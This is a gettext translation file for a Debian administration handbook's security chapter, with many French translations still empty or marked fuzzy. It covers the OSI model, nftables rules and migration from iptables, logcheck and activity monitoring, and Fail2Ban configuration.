msgid "A good understanding of the layers 3, 4 and 5 of the OSI (Open Systems Interconnection) model is essential to get the most from netfilter."
msgstr ""
#, fuzzy
#| msgid "<emphasis>VOCABULARY</emphasis> Zero-day exploit"
msgid "<emphasis>CULTURE</emphasis> The OSI model"
msgstr "<emphasis>VOCABULAIRE</emphasis> <foreignphrase>Zero day exploit</foreignphrase>"
#, fuzzy
#| msgid "<primary>logs</primary><secondary>display</secondary>"
msgid "<primary>OSI</primary><secondary>model</secondary>"
msgstr "<primary>logs</primary><secondary>affichage</secondary>"
msgid "The OSI model is a conceptual model to implement networking protocols without regard to its underlying internal structure and technology. Its goal is the interoperability of diverse communication systems with standard communication protocols."
msgstr ""
msgid "This model was defined in the standard ISO/EIC 7498. The following seven layers are described:"
msgstr ""
msgid "Physical: transmission and reception of raw bit streams over a physical medium"
msgstr ""
msgid "Data Link: reliable transmission of data frames between two nodes connected by a connected by a physical layer"
msgstr ""
msgid "Network: structuring and managing a multi-node network, including addressing, routing and traffic control"
msgstr ""
msgid "Transport: reliable transmission of data segments between points on a network, including segmentation, acknowledgment and multiplexing"
msgstr ""
msgid "Session: managing communication sessions, i.e. continuous exchange of information in the form of multiple back-and-forth transmissions between two nodes"
msgstr ""
msgid "Presentation: translation of data between a networking service and an application; including character encoding, data compression and encryption/decryption"
msgstr ""
msgid "Application: High-level APIs, including resource sharing, remote file access."
msgstr ""
msgid "More information can be found on Wikipedia: <ulink type=\"block\" url=\"https://en.wikipedia.org/wiki/Osi_model\" />"
msgstr ""
msgid "The firewall is configured with <emphasis>tables</emphasis>, which hold <emphasis>rules</emphasis> contained in <emphasis>chains</emphasis>. Unlike iptables, <emphasis>nftables</emphasis> does not have any default table. The user decides which and how many tables to create. Every table must have only one of the following five families assigned: <literal>ip</literal>, <literal>ip6</literal>, <literal>inet</literal>, <literal>arp</literal> and <literal>bridge</literal>. <literal>ip</literal> is used if the family is not specified."
msgstr ""
msgid "There are two types of chains: <emphasis>base chains</emphasis> and <emphasis>regular chains</emphasis>. A base chain is an entry point for packets from the networking stack, they are registered into the Netfilter hooks, ie. these chains see packets flowing through the TCP/IP stack. On the other hand, and a regular chain is not attached to any hook, so they do not see any traffic, but it may be used as a jump target for better organization."
msgstr ""
msgid "<primary>chain</primary>"
msgstr "<primary>chaîne</primary>"
msgid "Rules are made of statements, which includes some expressions to be matched and then a verdict statement, like <literal>accept</literal>, <literal>drop</literal>, <literal>queue</literal>, <literal>continue</literal>, <literal>return</literal>, <literal>jump chain</literal> and <literal>goto chain</literal>."
msgstr ""
#, fuzzy
#| msgid "<primary>MD5</primary>"
msgid "<primary>rule</primary>"
msgstr "<primary>MD5</primary>"
msgid "<emphasis>BACK TO BASICS</emphasis> ICMP"
msgstr "<emphasis>B.A.-BA</emphasis> ICMP"
msgid "ICMP (<emphasis>Internet Control Message </emphasis>Protocol) is the protocol used to transmit complementary information on communications. It allows testing network connectivity with the <command>ping</command> command (which sends an ICMP <emphasis>echo request</emphasis> message, which the recipient is meant to answer with an ICMP <emphasis>echo reply</emphasis> message). It signals a firewall rejecting a packet, indicates an overflow in a receive buffer, proposes a better route for the next packets in the connection, and so on. This protocol is defined by several RFC documents; the initial RFC777 and RFC792 were soon completed and extended. <ulink type=\"block\" url=\"http://www.faqs.org/rfcs/rfc777.html\" /> <ulink type=\"block\" url=\"http://www.faqs.org/rfcs/rfc792.html\" />"
msgstr "ICMP (<foreignphrase>Internet Control Message Protocol</foreignphrase>, ou protocole des messages de contrôle sur Internet) est très employé pour transmettre des compléments d'information sur les communications : il permet de tester le fonctionnement du réseau avec la commande <command>ping</command> (qui envoie un message ICMP <foreignphrase>echo request</foreignphrase> auquel le correspondant est normalement tenu de répondre par un message <foreignphrase>echo reply</foreignphrase>), signale le refus d'un paquet par un pare-feu, indique la saturation d'un tampon de réception, propose une meilleure route (un meilleur trajet pour les prochains paquets à émettre), etc. Plusieurs RFC définissent ce protocole ; les premières, 777 et 792, furent rapidement complétées et étendues. <ulink type=\"block\" url=\"http://www.faqs.org/rfcs/rfc777.html\" /> <ulink type=\"block\" url=\"http://www.faqs.org/rfcs/rfc792.html\" />"
msgid "For reference, a receive buffer is a small memory zone storing data between the time it arrives from the network and the time the kernel handles it. If this zone is full, new data cannot be received, and ICMP signals the problem, so that the emitter can slow down its transfer rate (which should ideally reach an equilibrium after some time)."
msgstr "Rappelons qu'un tampon de réception est une petite zone mémoire contenant les données reçues par le réseau avant qu'elles ne soient traitées par le noyau. Si cette zone est pleine, il est alors impossible de recevoir d'autres données et ICMP signale le problème de sorte que le correspondant réduise la vitesse de transfert pour essayer d'atteindre un équilibre."
msgid "<primary>ICMP</primary>"
msgstr "<primary>ICMP</primary>"
msgid "<primary>Internet Control Message Protocol</primary>"
msgstr "<primary><foreignphrase>Internet Control Message Protocol</foreignphrase></primary>"
msgid "<primary>receive buffer</primary>"
msgstr "<primary>tampon de réception</primary>"
msgid "<primary>buffer</primary><secondary>receive buffer</secondary>"
msgstr "<primary>réception, tampon</primary>"
msgid "<primary><command>ping</command></primary>"
msgstr "<primary><command>ping</command></primary>"
msgid "Note that although an IPv4 network can work without ICMP, ICMPv6 is strictly required for an IPv6 network, since it combines several functions that were, in the IPv4 world, spread across ICMPv4, IGMP (<emphasis>Internet Group Membership Protocol</emphasis>) and ARP (<emphasis>Address Resolution Protocol</emphasis>). ICMPv6 is defined in RFC4443. <ulink type=\"block\" url=\"http://www.faqs.org/rfcs/rfc4443.html\" />"
msgstr "Alors qu'un réseau IPv4 peut fonctionner sans ICMP, ICMPv6 est absolument indispensable dans le cadre d'un réseau IPv6 car il combine des fonctions jusqu'alors partagées entre ICMPv4, IGMP <foreignphrase>(Internet Group Membership Protocol)</foreignphrase> et ARP <foreignphrase>(Address Resolution Protocol)</foreignphrase>. La RFC 4 443 définit ce protocole. <ulink type=\"block\" url=\"http://www.faqs.org/rfcs/rfc4443.html\" />"
msgid "Moving from iptables to nftables"
msgstr ""
msgid "The <command>iptables-translate</command> and <command>ip6tables-translate</command> commands can be used to translate old iptables commands into the new nftables syntax. Whole rulesets can also be translated, in this case we migrate the rules configured in one computer which has Docker installed:"
msgstr ""
msgid ""
"<computeroutput># </computeroutput><userinput>iptables-save > iptables-ruleset.txt\n"
"</userinput><computeroutput># </computeroutput><userinput>iptables-restore-translate -f iptables-ruleset.txt\n"
"</userinput><computeroutput>\n"
"# Translated by iptables-restore-translate v1.8.2 on Thu Jul 18 10:39:33 2019\n"
"add table ip filter\n"
"add chain ip filter INPUT { type filter hook input priority 0; policy accept; }\n"
"add chain ip filter FORWARD { type filter hook forward priority 0; policy drop; }\n"
"add chain ip filter OUTPUT { type filter hook output priority 0; policy accept; }\n"
"add chain ip filter DOCKER\n"
"add chain ip filter DOCKER-ISOLATION-STAGE-1\n"
"add chain ip filter DOCKER-ISOLATION-STAGE-2\n"
"add chain ip filter DOCKER-USER\n"
"add rule ip filter FORWARD counter jump DOCKER-USER\n"
"add rule ip filter FORWARD counter jump DOCKER-ISOLATION-STAGE-1\n"
"add rule ip filter FORWARD oifname \"docker0\" ct state related,established counter accept\n"
"add rule ip filter FORWARD oifname \"docker0\" counter jump DOCKER\n"
"add rule ip filter FORWARD iifname \"docker0\" oifname != \"docker0\" counter accept\n"
"add rule ip filter FORWARD iifname \"docker0\" oifname \"docker0\" counter accept\n"
"add rule ip filter DOCKER-ISOLATION-STAGE-1 iifname \"docker0\" oifname != \"docker0\" counter jump DOCKER-ISOLATION-STAGE-2\n"
"add rule ip filter DOCKER-ISOLATION-STAGE-1 counter return\n"
"add rule ip filter DOCKER-ISOLATION-STAGE-2 oifname \"docker0\" counter drop\n"
"add rule ip filter DOCKER-ISOLATION-STAGE-2 counter return\n"
"add rule ip filter DOCKER-USER counter return\n"
"add table ip nat\n"
"add chain ip nat PREROUTING { type nat hook prerouting priority -100; policy accept; }\n"
"add chain ip nat INPUT { type nat hook input priority 100; policy accept; }\n"
"add chain ip nat POSTROUTING { type nat hook postrouting priority 100; policy accept; }\n"
"add chain ip nat OUTPUT { type nat hook output priority -100; policy accept; }\n"
"add chain ip nat DOCKER\n"
"add rule ip nat PREROUTING fib daddr type local counter jump DOCKER\n"
"add rule ip nat POSTROUTING oifname != \"docker0\" ip saddr 172.17.0.0/16 counter masquerade\n"
"add rule ip nat OUTPUT ip daddr != 127.0.0.0/8 fib daddr type local counter jump DOCKER\n"
"add rule ip nat DOCKER iifname \"docker0\" counter return\n"
"# Completed on Thu Jul 18 10:39:33 2019\n"
"# </computeroutput><userinput>iptables-restore-translate -f iptables-ruleset.txt > ruleset.nft\n"
"</userinput><computeroutput># </computeroutput><userinput>nft -f ruleset.nft\n"
"</userinput><computeroutput># </computeroutput><userinput>nft list ruleset</userinput><computeroutput>\n"
"table ip filter {\n"
"\tchain INPUT {\n"
"\t\ttype filter hook input priority 0; policy accept;\n"
"\t}\n"
"\n"
"\tchain FORWARD {\n"
"\t\ttype filter hook forward priority 0; policy drop;\n"
"\t\tcounter packets 0 bytes 0 jump DOCKER-USER\n"
"\t\tcounter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1\n"
"\t\toifname \"docker0\" ct state related,established counter packets 0 bytes 0 accept\n"
"\t\toifname \"docker0\" counter packets 0 bytes 0 jump DOCKER\n"
"\t\tiifname \"docker0\" oifname != \"docker0\" counter packets 0 bytes 0 accept\n"
"\t\tiifname \"docker0\" oifname \"docker0\" counter packets 0 bytes 0 accept\n"
"\t}\n"
"\n"
"\tchain OUTPUT {\n"
"\t\ttype filter hook output priority 0; policy accept;\n"
"\t}\n"
"\n"
"\tchain DOCKER {\n"
"\t}\n"
"\n"
"\tchain DOCKER-ISOLATION-STAGE-1 {\n"
"\t\tiifname \"docker0\" oifname != \"docker0\" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2\n"
"\t\tcounter packets 0 bytes 0 return\n"
"\t}\n"
"\n"
"\tchain DOCKER-ISOLATION-STAGE-2 {\n"
"\t\toifname \"docker0\" counter packets 0 bytes 0 drop\n"
"\t\tcounter packets 0 bytes 0 return\n"
"\t}\n"
"\n"
"\tchain DOCKER-USER {\n"
"\t\tcounter packets 0 bytes 0 return\n"
"\t}\n"
"}\n"
"table ip nat {\n"
"\tchain PREROUTING {\n"
"\t\ttype nat hook prerouting priority -100; policy accept;\n"
"\t\tfib daddr type local counter packets 0 bytes 0 jump DOCKER\n"
"\t}\n"
"\n"
"\tchain INPUT {\n"
"\t\ttype nat hook input priority 100; policy accept;\n"
"\t}\n"
"\n"
"\tchain POSTROUTING {\n"
"\t\ttype nat hook postrouting priority 100; policy accept;\n"
"\t\toifname != \"docker0\" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade\n"
"\t}\n"
"\n"
"\tchain OUTPUT {\n"
"\t\ttype nat hook output priority -100; policy accept;\n"
"\t\tip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER\n"
"\t}\n"
"\n"
"\tchain DOCKER {\n"
"\t\tiifname \"docker0\" counter packets 0 bytes 0 return\n"
"\t}\n"
"}\n"
"table ip mangle {\n"
"\tchain PREROUTING {\n"
"\t\ttype filter hook prerouting priority -150; policy accept;\n"
"\t}\n"
"\n"
"\tchain INPUT {\n"
"\t\ttype filter hook input priority -150; policy accept;\n"
"\t}\n"
"\n"
"\tchain FORWARD {\n"
"\t\ttype filter hook forward priority -150; policy accept;\n"
"\t}\n"
"\n"
"\tchain OUTPUT {\n"
"\t\ttype route hook output priority -150; policy accept;\n"
"\t}\n"
"\n"
"\tchain POSTROUTING {\n"
"\t\ttype filter hook postrouting priority -150; policy accept;\n"
"\t}\n"
"}\n"
"</computeroutput>"
msgstr ""
msgid "The tools <command>iptables-nft</command>, <command>ip6tables-nft</command>, <command>arptables-nft</command>, <command>ebtables-nft</command> are versions of iptables that use the nftables API, so users can keep using the old iptables syntax with them, but that is not recommended; these tools should only be used for backwards compatibility."
msgstr ""
#, fuzzy
#| msgid "Syntax of <command>iptables</command> and <command>ip6tables</command>"
msgid "Syntax of <command>nft</command>"
msgstr "Syntaxe de <command>iptables</command> et <command>ip6tables</command>"
msgid "The <command>nft</command> commands allow manipulating tables, chains and rules. The <literal>table</literal> option supports multiple operations: <literal>add</literal>, <literal>create</literal>, <literal>delete</literal>, <literal>list</literal> and <literal>flush</literal>. <command>nft add table ip6 mangle</command> adds a new table from the family <literal>ip6</literal>."
msgstr ""
msgid "To insert a new base chain to the <literal>filter</literal> table, you can execute the following command (note that the semicolon is escaped with a backslash when using Bash):"
msgstr ""
#, fuzzy
#| msgid ""
#| "\n"
#| "<computeroutput># </computeroutput><userinput>apt install fwbuilder</userinput>"
msgid "<computeroutput># </computeroutput><userinput>nft add chain filter input { type filter hook input priority 0 \\; }</userinput>"
msgstr ""
"\n"
"<computeroutput># </computeroutput><userinput>apt install fwbuilder</userinput>"
msgid "Rules are usually added with the following syntax: <command>nft add rule [<replaceable>family</replaceable>] <replaceable>table</replaceable> <replaceable>chain</replaceable> handle <replaceable>handle</replaceable> statement</command>."
msgstr ""
msgid "<command>insert</command> is similar to the <command>add</command> command, but the given rule is prepended to the beginning of the chain or before the rule with the given handle instead of at the end or after that rule. For example, the following command inserts a rule before the rule with handler number 8:"
msgstr ""
#, fuzzy
#| msgid ""
#| "\n"
#| "<computeroutput># </computeroutput><userinput>apt install fwbuilder</userinput>"
msgid ""
"<computeroutput># </computeroutput><userinput>nft insert rule filter output position 8 ip daddr 127.0.0.8 drop\n"
"</userinput>"
msgstr ""
"\n"
"<computeroutput># </computeroutput><userinput>apt install fwbuilder</userinput>"
msgid "The executed <command>nft</command> commands do not make permanent changes to the configuration, so they are lost if they are not saved. The firewall rules are located in <filename>/etc/nftables.conf</filename>. A simple way to save the current firewall configuration permanently is to execute <command>nft list ruleset > /etc/nftables.conf</command> as root."
msgstr ""
msgid "<command>nft</command> allows many more operations, refer to its manual page <citerefentry><refentrytitle>nft</refentrytitle> <manvolnum>8</manvolnum></citerefentry> for more information."
msgstr ""
msgid "Installing the Rules at Each Boot"
msgstr "Installer les règles à chaque démarrage"
msgid "To enable a default firewall in Debian, you need to store the rules in <filename>/etc/nftables.conf</filename> and execute <command>systemctl enable nftables.service</command> as root. You can stop the firewall executing <command>nft flush ruleset</command> as root."
msgstr ""
#, fuzzy
#| msgid "In other cases, the recommended way is to register the configuration script in an <literal>up</literal> directive of the <filename>/etc/network/interfaces</filename> file. In the following example, the script is stored under <filename>/usr/local/etc/arrakis.fw</filename>."
msgid "In other cases, the recommended way is to register the configuration script in <literal>up</literal> directive of the <filename>/etc/network/interfaces</filename> file. In the following example, the script is stored under <filename>/usr/local/etc/arrakis.fw</filename>."
msgstr "Dans les autres cas, le plus simple est d'inscrire le script de configuration du pare-feu dans une directive <literal>up</literal> du fichier <filename>/etc/network/interfaces</filename>. Dans l'exemple ci-dessous, ce script s'appelle <filename>/usr/local/etc/arrakis.fw</filename>."
msgid "<filename>interfaces</filename> file calling firewall script"
msgstr "Fichier <varname>interfaces</varname> avec appel du script de pare-feu"
msgid ""
"auto eth0\n"
"iface eth0 inet static\n"
" address 192.168.0.1\n"
" network 192.168.0.0\n"
" netmask 255.255.255.0\n"
" broadcast 192.168.0.255\n"
" up /usr/local/etc/arrakis.fw"
msgstr ""
"auto eth0\n"
"iface eth0 inet static\n"
" address 192.168.0.1\n"
" network 192.168.0.0\n"
" netmask 255.255.255.0\n"
" broadcast 192.168.0.255\n"
" up /usr/local/etc/arrakis.fw"
msgid "This obviously assumes that you are using <emphasis role=\"pkg\">ifupdown</emphasis> to configure the network interfaces. If you are using something else (like <emphasis>NetworkManager</emphasis> or <emphasis>systemd-networkd</emphasis>), then refer to their respective documentation to find out ways to execute a script after the interface has been brought up."
msgstr "Ces exemples supposent que les interfaces réseau sont configurées par <emphasis role=\"pkg\">ifupdown</emphasis>. Si vous utilisez un autre outil (par exemple <emphasis>NetworkManager</emphasis> ou <emphasis>systemd-networkd</emphasis>), il faudra vous référer à la documentation spécifique de cet outil pour trouver le moyen d'exécuter un script après la mise en marche de l'interface."
msgid "Supervision: Prevention, Detection, Deterrence"
msgstr "Supervision : prévention, détection, dissuasion"
msgid "<primary>monitoring</primary>"
msgstr "<primary>supervision</primary>"
msgid "Monitoring is an integral part of any security policy for several reasons. Among them, that the goal of security is usually not restricted to guaranteeing data confidentiality, but it also includes ensuring availability of the services. It is therefore imperative to check that everything works as expected, and to detect in a timely manner any deviant behavior or change in quality of the service(s) rendered. Monitoring activity can help detecting intrusion attempts and enable a swift reaction before they cause grave consequences. This section reviews some tools that can be used to monitor several aspects of a Debian system. As such, it completes <xref linkend=\"sect.monitoring\" />."
msgstr "La supervision fait partie intégrante d'une politique de sécurité. Elle est nécessaire à plusieurs titres : l'objectif de la sécurité n'est pas uniquement de garantir la confidentialité des données, mais aussi d'assurer le bon fonctionnement des services. Il est donc impératif de veiller à ce que tout fonctionne comme prévu et de détecter au plus tôt les comportements inhabituels et les changements dans la qualité du service fourni. Surveiller l'activité peut permettre de détecter des tentatives d'intrusion et donc de s'en protéger avant que cela ne porte à conséquences. Ce chapitre va passer en revue des outils servant à surveiller différents aspects d'un système Debian. Il complète la <xref linkend=\"sect.monitoring\" />."
msgid "Monitoring Logs with <command>logcheck</command>"
msgstr "Surveillance des logs avec <command>logcheck</command>"
msgid "<primary><command>logcheck</command></primary>"
msgstr "<primary><command>logcheck</command></primary>"
msgid "<primary>logs</primary><secondary>monitoring</secondary>"
msgstr "<primary>logs</primary><secondary>surveillance</secondary>"
msgid "<primary>monitoring</primary><secondary>log files</secondary>"
msgstr "<primary>surveillance</primary><secondary>des logs</secondary>"
msgid "The <command>logcheck</command> program monitors log files every hour by default. It sends unusual log messages in emails to the administrator for further analysis."
msgstr "Le programme <command>logcheck</command> scrute par défaut les fichiers de logs toutes les heures et envoie par courrier électronique à <literal>root</literal> les messages les plus inhabituels pour aider à détecter tout nouveau problème."
msgid "The list of monitored files is stored in <filename>/etc/logcheck/logcheck.logfiles</filename>; the default values work fine if the <filename>/etc/rsyslog.conf</filename> file has not been completely overhauled."
msgstr "La liste des fichiers scrutés se trouve dans le fichier <filename>/etc/logcheck/logcheck.logfiles</filename> ; les choix par défaut conviendront si le fichier <filename>/etc/rsyslog.conf</filename> n'a pas été complètement remodelé."
msgid "<command>logcheck</command> can work in one of three more or less detailed modes: <emphasis>paranoid</emphasis>, <emphasis>server</emphasis> and <emphasis>workstation</emphasis>. The first one is <emphasis>very</emphasis> verbose, and should probably be restricted to specific servers such as firewalls. The second (and default) mode is recommended for most servers. The last one is designed for workstations, and is even terser (it filters out more messages)."
msgstr "<command>logcheck</command> peut fonctionner en 3 modes plus ou moins détaillés : <foreignphrase>paranoid</foreignphrase> (paranoïaque), <foreignphrase>server</foreignphrase> (serveur) et <foreignphrase>workstation</foreignphrase> (station de travail). Le premier étant le plus verbeux, on le réservera aux serveurs spécialisés (comme les pare-feu). Le deuxième mode, choisi par défaut, est recommandé pour les serveurs. Le dernier, prévu pour les stations de travail, élimine encore plus de messages."
msgid "In all three cases, <command>logcheck</command> should probably be customized to exclude some extra messages (depending on installed services), unless the admin really wishes to receive hourly batches of long uninteresting emails. Since the message selection mechanism is rather complex, <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> is a required — if challenging — read."
msgstr "Dans tous les cas, il faudra probablement paramétrer <command>logcheck</command> pour exclure des messages supplémentaires (selon les services installés) sous peine d'être envahi chaque heure par une multitude de messages inintéressants. Leur mécanisme de sélection étant relativement complexe, il faut lire à tête reposée le document <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> pour bien le comprendre."
msgid "The applied rules can be split into several types:"
msgstr "Plusieurs types de règles sont appliqués :"
msgid "those that qualify a message as a cracking attempt (stored in a file in the <filename>/etc/logcheck/cracking.d/</filename> directory);"
msgstr "celles qui qualifient un message comme résultant d'une tentative d'attaque (elles sont stockées dans un fichier du répertoire <filename>/etc/logcheck/cracking.d/</filename>) ;"
msgid "those canceling such a qualification (<filename>/etc/logcheck/cracking.ignore.d/</filename>);"
msgstr "celles qui annulent cette qualification (<filename>/etc/logcheck/cracking.ignore.d/</filename>)Â ;"
msgid "those classifying a message as a security alert (<filename>/etc/logcheck/violations.d/</filename>);"
msgstr "celles qui qualifient un message comme une alerte de sécurité (<filename>/etc/logcheck/violations.d/</filename>) ;"
msgid "those canceling this classification (<filename>/etc/logcheck/violations.ignore.d/</filename>);"
msgstr "celles qui annulent cette qualification (<filename>/etc/logcheck/violations.ignore.d/</filename>)Â ;"
msgid "finally, those applying to the remaining messages (considered as <emphasis>system events</emphasis>)."
msgstr "et enfin celles qui s'appliquent à tous les messages restants (les <foreignphrase>System Events</foreignphrase>, ou événements système)."
msgid "<emphasis>CAUTION</emphasis> Ignoring a message"
msgstr "<emphasis>ATTENTION</emphasis> Ignorer un message"
msgid "Any message tagged as a cracking attempt or a security alert (following a rule stored in a <filename>/etc/logcheck/violations.d/myfile</filename> file) can only be ignored by a rule in a <filename>/etc/logcheck/violations.ignore.d/myfile</filename> or <filename>/etc/logcheck/violations.ignore.d/myfile-<replaceable>extension</replaceable></filename> file."
msgstr "Tout message marqué comme une tentative d'attaque ou une alerte de sécurité (suite par exemple à une règle du fichier <filename>/etc/logcheck/violations.d/monfichier</filename>) ne pourra être ignoré que par une règle des fichiers <filename>/etc/logcheck/violations.ignore.d/monfichier</filename> ou <filename>/etc/logcheck/violations.ignore.d/monfichier-<replaceable>extension</replaceable></filename>."
msgid "A system event is always signaled unless a rule in one of the <filename>/etc/logcheck/ignore.d.{paranoid,server,workstation}/</filename> directories states the event should be ignored. Of course, the only directories taken into account are those corresponding to verbosity levels equal or greater than the selected operation mode."
msgstr "Un événement système sera systématiquement signalé, sauf si une règle de l'un des répertoires <filename>/etc/logcheck/ignore.d.{paranoid,server,workstation}/</filename> dicte de l'ignorer. Évidemment, seuls les répertoires correspondant à des niveaux de verbosité supérieurs ou égaux au niveau sélectionné sont pris en compte."
msgid "Monitoring Activity"
msgstr "Surveillance de l'activité"
msgid "<primary>monitoring</primary><secondary>activity</secondary>"
msgstr "<primary>surveillance</primary><secondary>de l'activité</secondary>"
msgid "<primary>activity, monitoring</primary>"
msgstr "<primary>activité, surveillance</primary>"
msgid "In Real Time"
msgstr "En temps réel"
msgid "<command>top</command> is an interactive tool that displays a list of currently running processes. The default sorting is based on the current amount of processor use and can be obtained with the <keycap>P</keycap> key. Other sort orders include a sort by occupied memory (<keycap>M</keycap> key), by total processor time (<keycap>T</keycap> key) and by process identifier (<keycap>N</keycap> key). The <keycap>k</keycap> key allows killing a process by entering its process identifier. The <keycap>r</keycap> key allows <emphasis>renicing</emphasis> a process, i.e. changing its priority."
msgstr "<command>top</command> est un utilitaire interactif qui affiche la liste des processus en cours d'exécution. Par défaut, son critère de tri est l'utilisation actuelle du processeur (touche <keycap>P</keycap>), mais on peut opter pour la mémoire occupée (touche <keycap>M</keycap>), le temps processeur consommé (touche <keycap>T</keycap>) ou le numéro de processus ou PID (touche <keycap>N</keycap>). La touche <keycap>k</keycap> (comme <foreignphrase>kill</foreignphrase>) nécessite un numéro de processus à tuer. <keycap>r</keycap> (comme <foreignphrase>renice</foreignphrase>) change la priorité d'un processus."
msgid "<primary><command>top</command></primary>"
msgstr "<primary><command>top</command></primary>"
#, fuzzy
#| msgid "When the system seems to be overloaded, <command>top</command> is a great tool to see which processes are competing for processor time or consume too much memory. In particular, it is often interesting to check if the processes consuming resources match the real services that the machine is known to host. An unknown process running as the www-data user should really stand out and be investigated, since it's probably an instance of software installed and executed on the system through a vulnerability in a web application."
msgid "When the system seems to be overloaded, <command>top</command> is a great tool to see which processes are competing for processor time or consume too much memory. In particular, it is often interesting to check if the processes consuming resources match the real services that the machine is known to host. An unknown process running as the www-data user should really stand out and be investigated, since it is probably an instance of software installed and executed on the system through a vulnerability in a web application."
msgstr "Si le processeur semble être surchargé, il est ainsi possible d'observer quels processus se battent pour son contrôle ou consomment toute la mémoire disponible. Il est intéressant en particulier de vérifier si les processus qui consomment des ressources correspondent effectivement aux services réels que la machine héberge. Un processus au nom inconnu tournant sous l'utilisateur <literal>www-data</literal> doit immédiatement attirer l'attention : la probabilité est forte que cela corresponde à un logiciel installé et exécuté sur la machine en exploitant une faille de sécurité d'une application web."
msgid "<command>top</command> is a very flexible tool and its manual page gives details on how to customize its display and adapt it to one's personal needs and habits."
msgstr "<command>top</command> est un outil de base très souple et sa page de manuel explique comment en personnaliser l'affichage pour l'adapter aux besoins et aux habitudes de chacun."
msgid "The <command>gnome-system-monitor</command> graphical tool is similar to <command>top</command> and it provides roughly the same features."
msgstr "L'outil graphique <command>gnome-system-monitor</command> est similaire à <command>top</command>, et il propose sensiblement les mêmes fonctionnalités."
msgid "<primary><command>gnome-system-monitor</command></primary>"
msgstr "<primary><command>gnome-system-monitor</command></primary>"
msgid "History"
msgstr "Historique"
msgid "<primary>activity, history</primary>"
msgstr "<primary>activité, historique</primary>"
msgid "Processor load, network traffic and free disk space are information that are constantly varying. Keeping a history of their evolution is often useful in determining exactly how the computer is used."
msgstr "La charge du processeur, le trafic réseau et l'espace disque disponible sont des informations qui varient en permanence. Il est souvent intéressant de garder une trace de leur évolution pour mieux cerner l'usage qui est fait de l'ordinateur."
msgid "<primary>SNMP</primary>"
msgstr "<primary>SNMP</primary>"
msgid "<primary>Simple Network Management Protocol</primary>"
msgstr "<primary><foreignphrase>Simple Network Management Protocol</foreignphrase></primary>"
msgid "There are many dedicated tools for this task. Most can fetch data via SNMP (<emphasis>Simple Network Management Protocol</emphasis>) in order to centralize this information. An added benefit is that this allows fetching data from network elements that may not be general-purpose computers, such as dedicated network routers or switches."
msgstr "Il existe de nombreux outils dédié à cette tâche. La plupart peuvent récupérer des données via SNMP (<foreignphrase>Simple Network Management Protocol</foreignphrase>, ou protocole simple de gestion du réseau) afin de centraliser ces informations. Cela permet en outre de récupérer des informations sur des éléments du réseau qui ne sont pas nécessairement des ordinateurs (comme des routeurs)."
#, fuzzy
#| msgid "This book deals with Munin in some detail (see <xref linkend=\"sect.munin\" />) as part of <xref linkend=\"advanced-administration\" xrefstyle=\"select: label quotedtitle\" />. Debian also provides a similar tool, <emphasis role=\"pkg\">cacti</emphasis>. Its deployment is slightly more complex, since it is based solely on SNMP. Despite having a web interface, grasping the concepts involved in configuration still requires some effort. Reading the HTML documentation (<filename>/usr/share/doc/cacti/html/index.html</filename>) should be considered a prerequisite."
msgid "This book deals with Munin in some detail (see <xref linkend=\"sect.munin\" />) as part of <xref linkend=\"advanced-administration\" xrefstyle=\"select: label quotedtitle\" />. Debian also provides a similar tool, <emphasis role=\"pkg\">cacti</emphasis>. Its deployment is slightly more complex, since it is based solely on SNMP. Despite having a web interface, grasping the concepts involved in configuration still requires some effort. Reading the HTML documentation (<filename>/usr/share/doc/cacti/html/Table-of-Contents.html</filename>) should be considered a prerequisite."
msgstr "Ce livre traite en détail de Munin (voir <xref linkend=\"sect.munin\" />) dans le cadre du <xref linkend=\"advanced-administration\" />. Debian dispose également de <emphasis role=\"pkg\">cacti</emphasis>. Il est un peu plus complexe à mettre en œuvre : l'usage de SNMP est inévitable et malgré une interface web, les concepts de configuration restent difficiles à appréhender. La lecture de la documentation HTML (<filename>/usr/share/doc/cacti/html/index.html</filename>) sera indispensable si l'on souhaite le mettre en œuvre."
msgid "<emphasis>ALTERNATIVE</emphasis> <command>mrtg</command>"
msgstr "<emphasis>ALTERNATIVE</emphasis> <command>mrtg</command>"
msgid "<primary><command>mrtg</command></primary>"
msgstr "<primary><command>mrtg</command></primary>"
msgid "<command>mrtg</command> (in the similarly-named package) is an older tool. Despite some rough edges, it can aggregate historical data and display them as graphs. It includes a number of scripts dedicated to collecting the most commonly monitored data such as processor load, network traffic, web page hits, and so on."
msgstr "<command>mrtg</command> (du paquet Debian éponyme) est un outil plus ancien et plus rustique capable d'agréger des données historiques et d'en faire des graphiques. Il dispose d'un certain nombre de scripts de récupération des données les plus couramment surveillées : charge, trafic réseau, impacts <foreignphrase>(hits)</foreignphrase> web, etc."
msgid "The <emphasis role=\"pkg\">mrtg-contrib</emphasis> and <emphasis role=\"pkg\">mrtgutils</emphasis> packages contain example scripts that can be used directly."
msgstr "Les paquets <emphasis role=\"pkg\">mrtg-contrib</emphasis> et <emphasis role=\"pkg\">mrtgutils</emphasis> contiennent des scripts d'exemples, prĂŞts Ă l'emploi."
msgid "Avoiding Intrusion"
msgstr ""
msgid "Attackers try to get access to servers by guessing passwords, which is why strong passwords must always be used. Even then, you should also establish measures against brute-force attacks. A brute-force attack is an attempt to log in to an unauthorised software system by performing multiple login attempts in a short period of time."
msgstr ""
msgid "The best way to stop a brute-force atack is to limit the number of login attempts coming from the same origin, usually by temporarily banning an IP address."
msgstr ""
msgid "Fail2Ban is an intrusion prevention software suite that can be configured to monitor any service that writes login attemps to a log file. It can be found in the package <emphasis role=\"pkg\">fail2ban</emphasis>."
msgstr ""
msgid "Fail2Ban is configured through a simple protocol by <command>fail2ban-client</command>, which also reads configuration files and issues corresponding configuration commands to the server, <command>fail2ban-server</command>. It has four configuration file types, all stored in <filename>/etc/fail2ban</filename>:"
msgstr ""
msgid "<filename>fail2ban.conf</filename>. Global configuration (such as logging)."
msgstr ""
msgid "<filename>filter.d/*.conf</filename>. Filters specifying how to detect authentication failures. The Debian package already contains filters for many common programs."
msgstr ""
msgid "<filename>action.d/*.conf</filename>. Actions defining the commands for banning and unbanning of IP addresses."
msgstr ""
msgid "<filename>jail.conf</filename>. It is where <emphasis>jails</emphasis>, the combinations of filters and actions, are defined."
msgstr ""
